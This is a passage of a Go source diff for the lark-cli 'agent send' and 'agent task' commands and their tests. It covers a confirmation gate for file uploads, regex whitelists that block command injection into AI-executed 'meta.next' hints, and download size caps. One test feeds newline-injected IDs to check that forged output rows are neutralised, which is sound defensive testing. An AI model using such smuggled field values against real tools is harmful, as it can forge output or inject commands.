// --file exfiltrates local file content off this machine (the provider
|
||||
// reads the file and uploads it to the remote agent). That is an
|
||||
// irreversible, CLI-enforced high-risk write: a real send that would upload
|
||||
// requires --yes, returning confirmation_required (exit 10) before any
|
||||
// network access. dry-run above is exempt — it never uploads.
|
||||
if !opts.Yes {
|
||||
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
|
||||
"--file 会把本地文件外发上传到远端 agent(内容离开本机,不可撤回)").
|
||||
WithHint("确认要外发这些文件后,加 --yes 重发")
|
||||
}
|
||||
}
|
||||
|
||||
// A real send calls the API, so it needs a configured client; resolve it now
|
||||
// (not_configured / exit 3 here is correct for an actual API call).
|
||||
pc, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
// The check is all-or-nothing — any real API verb requires the provider's
|
||||
// full scope set.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
task, err := pc.Send(opts.Cmd.Context(), in)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
normalizeTask(task)
|
||||
|
||||
// A send fires and returns the current task immediately (exit 0). Progress is
|
||||
// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
|
||||
// hint — send no longer blocks on the task reaching a stop condition.
|
||||
return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
|
||||
}
|
||||
|
||||
// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
|
||||
// reconstructed from the validated input, so a caller can inspect exactly what
|
||||
// a real send would post without contacting the agent. format=pretty (no --jq)
|
||||
// renders the same fields as key: value lines instead of the envelope.
|
||||
func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
out := f.IOStreams.Out
|
||||
fmt.Fprintln(out, "dry_run: true")
|
||||
fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
|
||||
fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
|
||||
if len(in.Files) > 0 {
|
||||
fmt.Fprintf(out, "files: %d\n", len(in.Files))
|
||||
}
|
||||
if len(in.Params) > 0 {
|
||||
fmt.Fprintf(out, "params: %d\n", len(in.Params))
|
||||
}
|
||||
if in.ContextID != "" {
|
||||
fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
would := map[string]interface{}{
|
||||
"agent_ref": ref,
|
||||
"text": in.Text,
|
||||
}
|
||||
if len(in.Files) > 0 {
|
||||
would["files"] = in.Files
|
||||
}
|
||||
if len(in.Params) > 0 {
|
||||
would["params"] = in.Params
|
||||
}
|
||||
if in.ContextID != "" {
|
||||
would["context_id"] = in.ContextID
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
would["task_id"] = in.TaskID
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: map[string]interface{}{
|
||||
"dry_run": true,
|
||||
"would_send": would,
|
||||
},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// nextIDPattern is the character whitelist for server-supplied identifiers
|
||||
// (task_id / context_id) before they are interpolated into a meta.next command
|
||||
// string: letters, digits, '_' and '-' only. It is deliberately stricter than
|
||||
// validate.ResourceName — that check is a denylist aimed at URL-path safety and
|
||||
// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
|
||||
// exactly what matters here: meta.next is defined as "AI executes this
|
||||
// verbatim", so a server-controlled id is a command-injection surface.
|
||||
var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
|
||||
|
||||
// safeNextID reports whether s may be interpolated into a meta.next command.
|
||||
func safeNextID(s string) bool {
|
||||
return nextIDPattern.MatchString(s)
|
||||
}
|
||||
|
||||
// nextRefPattern is the whitelist for a user-supplied ref before it is
|
||||
// interpolated into a meta.next command or a hint command string: the
|
||||
// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
|
||||
// shape ParseRef accepts, further restricted to command-safe characters). A
|
||||
// ref is not server-controlled — the threat model is not injection but
|
||||
// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
|
||||
// be executed verbatim), so a failing ref simply drops the command hint.
|
||||
var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
|
||||
|
||||
// safeNextRef reports whether ref may be interpolated into a meta.next / hint
|
||||
// command string.
|
||||
func safeNextRef(ref string) bool {
|
||||
return nextRefPattern.MatchString(ref)
|
||||
}
|
||||
|
||||
// nextForTask builds the meta.next[] hints for a send result: a terminal task
|
||||
// suggests fetching its artifacts / detail, a still-running task the poll
|
||||
// command, an input_required task the continue command, and an auth_required
|
||||
// task the re-authorize flow (auth login, not a text continuation). AI callers use
|
||||
// these to chain the next step without guessing the command shape, so every
|
||||
// value interpolated here must pass its whitelist first: the ref (safeNextRef)
|
||||
// and the task_id (safeNextID) each suppress the whole hint when they fail
|
||||
// (prefer dropping the hint over risking injection); a failing context_id
|
||||
// degrades to the <context_id> placeholder,
|
||||
// which keeps the hint while interpolating nothing untrusted. A hint whose
|
||||
// command carries <...> placeholders is marked Template so callers know it
|
||||
// needs substitution before execution.
|
||||
func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
|
||||
if !safeNextRef(ref) {
|
||||
return nil
|
||||
}
|
||||
if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
|
||||
return nil
|
||||
}
|
||||
if task.State.ShouldStopPolling() {
|
||||
if task.State == iagent.StateAuthRequired {
|
||||
// auth_required is an agent-side task state — the end user must
|
||||
// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
|
||||
// NOT a text continuation like input_required. Point at the auth
|
||||
// re-authorize flow instead of a text continuation. The concrete scopes are the
|
||||
// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
|
||||
// placeholder → Template. ref/task_id are already whitelisted above, so
|
||||
// echoing the re-check command in the label is safe.
|
||||
return []output.NextAction{{
|
||||
Label: fmt.Sprintf("完成重新授权后重查任务(据该 agent 所需 scope 定;重查: lark-cli agent task get %s %s)", ref, task.TaskID),
|
||||
Command: `lark-cli auth login --scope "<required_scopes>"`,
|
||||
Template: true,
|
||||
}}
|
||||
}
|
||||
if task.State == iagent.StateInputRequired {
|
||||
// A send that already needs input: point at the continue command
|
||||
// against the same task/context. The --text value is
|
||||
// always a placeholder, so this hint is a template — which is also why
|
||||
// a missing or whitelist-failing context_id can degrade to the
|
||||
// <context_id> placeholder instead of dropping the hint.
|
||||
ctxID := task.ContextID
|
||||
if ctxID == "" || !safeNextID(ctxID) {
|
||||
ctxID = "<context_id>"
|
||||
}
|
||||
return []output.NextAction{{
|
||||
Label: "补充输入后向同一任务续发",
|
||||
Command: fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
|
||||
Template: true,
|
||||
}}
|
||||
}
|
||||
// Terminal: suggest reading the final detail / artifacts.
|
||||
return []output.NextAction{{
|
||||
Label: "查看任务详情与产物",
|
||||
Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
|
||||
}}
|
||||
}
|
||||
return []output.NextAction{{
|
||||
Label: "轮询任务直到停轮询条件(有界;到点未终止照此再 watch)",
|
||||
Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
|
||||
}}
|
||||
}
|
||||
|
||||
// defaultWatchTimeout is the bounded poll window meta.next suggests for a
|
||||
// still-running task: a safe default that avoids an unbounded --watch blocking
|
||||
// forever on a long task and stops an AI caller from self-hammering. On expiry
|
||||
// the poll returns the current state (exit 0) plus a fresh watch hint, so the
|
||||
// caller re-watches in segments rather than blocking once. `--watch` used alone
|
||||
// (--timeout 0) stays unbounded for backward compatibility.
|
||||
const defaultWatchTimeout = 30 * time.Second
|
||||
451
cmd/agent/send_test.go
Normal file
451
cmd/agent/send_test.go
Normal file
@@ -0,0 +1,451 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
|
||||
// non-empty (required for content-safety scanning) and whose --as flag is
|
||||
// explicitly set to bot so ResolveAs honors it verbatim.
|
||||
func sendCmdCtx(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agent"}
|
||||
leaf := &cobra.Command{Use: "send"}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(leaf)
|
||||
leaf.Flags().String("as", "", "identity")
|
||||
if err := leaf.Flags().Set("as", "bot"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
|
||||
// the scripted fakeflow agent agt_x under an explicit bot identity. The
|
||||
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
|
||||
// test — everything under test here is command-layer behavior over the
|
||||
// scripted provider.
|
||||
func sendTestOpts(t *testing.T) *sendOptions {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
return &sendOptions{
|
||||
Factory: f,
|
||||
Cmd: sendCmdCtx(t),
|
||||
Ref: "fakeflow:agt_x",
|
||||
As: "bot",
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendRequiresText pins that an empty --text is a validation error
|
||||
// (subtype invalid_argument) raised before any provider is built.
|
||||
func TestSendRequiresText(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
|
||||
if err == nil {
|
||||
t.Fatal("missing --text should raise a validation error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// hint contract: a missing --text must carry a copy-pasteable remediation
|
||||
// hint, and the param uses the -- prefix.
|
||||
if !strings.Contains(p.Hint, "--text") {
|
||||
t.Errorf("hint should guide adding --text, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--text" {
|
||||
t.Errorf("param should be --text, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
|
||||
// validation error, raised before any provider is built.
|
||||
func TestSendTaskIDRequiresContextID(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
|
||||
if err == nil {
|
||||
t.Fatal("--task-id without --context-id should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// hint contract: state the next step clearly (--task-id must be provided
|
||||
// together with --context-id).
|
||||
if !strings.Contains(p.Hint, "--context-id") {
|
||||
t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--task-id" {
|
||||
t.Errorf("param should be --task-id, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// workingTask is the canonical non-terminal task the scripted Send returns for
|
||||
// the happy-path tests.
|
||||
func workingTask() *iagent.AgentTask {
|
||||
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
|
||||
}
|
||||
|
||||
// TestSendPrettyFormat pins that `send --format pretty` renders the
|
||||
// resulting task as key: value lines (previously the flag was registered but
|
||||
// silently ignored).
|
||||
func TestSendPrettyFormat(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
return workingTask(), nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send --format pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
|
||||
// (key: value preview) instead of silently emitting JSON.
|
||||
func TestSendDryRunPrettyFormat(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.DryRun = true
|
||||
opts.Format = "pretty"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
|
||||
// runs context_id/task_id through kvValue (like every other pretty face), so a
|
||||
// value carrying a newline cannot forge an adjacent "key: value" field row.
|
||||
func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.DryRun = true
|
||||
opts.Format = "pretty"
|
||||
opts.ContextID = "ctx1\nstate: completed"
|
||||
opts.TaskID = "task1\ndeleted: true"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
// The raw newline must not survive into a forged adjacent row.
|
||||
if strings.Contains(text, "context_id: ctx1\nstate: completed") {
|
||||
t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
|
||||
}
|
||||
if strings.Contains(text, "task_id: task1\ndeleted: true") {
|
||||
t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
|
||||
}
|
||||
// kvValue collapses the newline to a space, keeping the value on one line.
|
||||
if !strings.Contains(text, "context_id: ctx1 state: completed") {
|
||||
t.Errorf("context_id should collapse to one line, got:\n%s", text)
|
||||
}
|
||||
if !strings.Contains(text, "task_id: task1 deleted: true") {
|
||||
t.Errorf("task_id should collapse to one line, got:\n%s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendNoParamsRequired pins card v2: the scripted card declares no
|
||||
// parameters, so a send without any --param passes card validation — asserted
|
||||
// via --dry-run so no provider Send fires. A malformed --param is still a
|
||||
// validation error.
|
||||
func TestSendNoParamsRequired(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Params = nil
|
||||
opts.DryRun = true
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
|
||||
}
|
||||
|
||||
opts2 := sendTestOpts(t)
|
||||
opts2.Text = "分析销售"
|
||||
opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
|
||||
opts2.DryRun = true
|
||||
err := agentSendRun(opts2)
|
||||
if err == nil {
|
||||
t.Fatal("malformed --param should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendUnknownParamRejected pins, against an empty-parameters card, that
|
||||
// any --param key is unknown → invalid_argument with a hint pointing at
|
||||
// `agent card`, raised before any provider Send (asserted via --dry-run with
|
||||
// no send hook installed).
|
||||
func TestSendUnknownParamRejected(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Params = []string{"app_id=app_1"}
|
||||
opts.DryRun = true
|
||||
err := agentSendRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("card did not declare app_id, --param app_id should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card") {
|
||||
t.Fatalf("hint should point to agent card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRun pins that --dry-run prints a would_send preview and never
|
||||
// calls the provider (no send hook installed → a Send would panic).
|
||||
func TestSendDryRun(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.DryRun = true
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
data, ok := env.Data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data should be an object, got %T", env.Data)
|
||||
}
|
||||
if data["dry_run"] != true {
|
||||
t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
|
||||
}
|
||||
would, ok := data["would_send"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
|
||||
}
|
||||
if would["text"] != "分析销售" {
|
||||
t.Errorf("would_send.text should echo the text, got %v", would["text"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendStartsTask pins the happy path: a single Send fires and returns the
|
||||
// submitted / working task in a success envelope immediately (no polling), with
|
||||
// a meta.next hint pointing at task get --watch.
|
||||
func TestSendStartsTask(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
var gotText string
|
||||
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
gotText = in.Text
|
||||
return workingTask(), nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send should not error: %v", err)
|
||||
}
|
||||
if gotText != "分析销售" {
|
||||
t.Errorf("provider should receive the original text, got %q", gotText)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["task_id"] != "chat_1" {
|
||||
t.Errorf("task_id should be chat_1, got %v", data["task_id"])
|
||||
}
|
||||
if data["state"] != string(iagent.StateWorking) {
|
||||
t.Errorf("state should be working, got %v", data["state"])
|
||||
}
|
||||
// meta.next should suggest polling / continuing.
|
||||
if !strings.Contains(string(out.Bytes()), `"next"`) {
|
||||
t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendSendError surfaces a provider Send failure unchanged.
|
||||
func TestSendSendError(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "x"
|
||||
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentSendRun(opts); err == nil {
|
||||
t.Fatal("Send error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendInvalidRef surfaces a malformed ref as a validation error after the
|
||||
// text/task-id guards pass.
|
||||
func TestSendInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
|
||||
// presence of the send-specific flags.
|
||||
func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
|
||||
cmd := NewCmdAgentSend(nil, nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
|
||||
t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("agent send with a single ref should be valid: %v", err)
|
||||
}
|
||||
for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("agent send should have --%s flag", name)
|
||||
}
|
||||
}
|
||||
if cmd.Flags().Lookup("wait") != nil {
|
||||
t.Error("agent send --wait should be removed (polling goes through task get --watch)")
|
||||
}
|
||||
// The --file help must point out that files are sent off to the remote
|
||||
// provider (file-egress requirement).
|
||||
fileFlag := cmd.Flags().Lookup("file")
|
||||
if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
|
||||
t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
|
||||
// instead of the production path (construction-time seam).
|
||||
func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
|
||||
called := false
|
||||
var captured *sendOptions
|
||||
cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
|
||||
called = true
|
||||
captured = opts
|
||||
return nil
|
||||
})
|
||||
cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
|
||||
cmd.SetContext(context.Background())
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("execute should not error: %v", err)
|
||||
}
|
||||
if !called {
|
||||
t.Fatal("runF should be called")
|
||||
}
|
||||
if captured.Ref != "example:agt_x" || captured.Text != "hi" {
|
||||
t.Errorf("opts not populated correctly: %+v", captured)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
|
||||
// carrying --file to a provider that supports file upload (the scripted card has
|
||||
// file_input=true) requires --yes, so without it the command returns
|
||||
// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
|
||||
// hook is a tripwire that would panic if the gate let the upload through.
|
||||
func TestSend_FileRequiresYes(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"} // no --yes
|
||||
|
||||
err := agentSendRun(opts)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
|
||||
t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
|
||||
t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
|
||||
// send reaches the provider, which receives the file path.
|
||||
func TestSend_FileWithYesProceeds(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
sent := false
|
||||
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
sent = true
|
||||
if len(in.Files) != 1 || in.Files[0] != "local.txt" {
|
||||
t.Errorf("provider should receive the --file path, got %v", in.Files)
|
||||
}
|
||||
return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
|
||||
}})
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"}
|
||||
opts.Yes = true
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send --file --yes should proceed: %v", err)
|
||||
}
|
||||
if !sent {
|
||||
t.Error("provider Send should be reached after --yes")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
|
||||
// gate (dry-run never uploads), so it needs no --yes and never reaches the
|
||||
// provider (unset send hook stays a tripwire).
|
||||
func TestSend_FileDryRunNotGated(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"}
|
||||
opts.DryRun = true // no --yes
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run --file should not be gated: %v", err)
|
||||
}
|
||||
}
|
||||
485
cmd/agent/task.go
Normal file
485
cmd/agent/task.go
Normal file
@@ -0,0 +1,485 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// maxArtifactBytes caps a single downloaded artifact to guard against an
|
||||
// untrusted host streaming an unbounded body onto local disk.
|
||||
const maxArtifactBytes = 256 << 20 // 256 MiB
|
||||
|
||||
// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
|
||||
// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
|
||||
// are wired once; each RunE reads only the fields its verb needs.
|
||||
type taskOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
TaskID string
|
||||
ContextID string
|
||||
ArtifactID string
|
||||
Output string
|
||||
Force bool
|
||||
Watch bool
|
||||
Timeout time.Duration
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// resolveDownload is the DownloadArtifact seam: it resolves the provider
|
||||
// addressed by opts under the effective identity, runs the local scope
|
||||
// preflight, and fetches the artifact descriptor. Tests swap it to return
|
||||
// inline bytes without a Factory / network.
|
||||
var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
|
||||
p, id, err := resolveProvider(opts.Factory, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Capability gate before the API call: a provider that does not wire
|
||||
// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
|
||||
if p.DownloadArtifact == nil {
|
||||
return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
|
||||
}
|
||||
if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
|
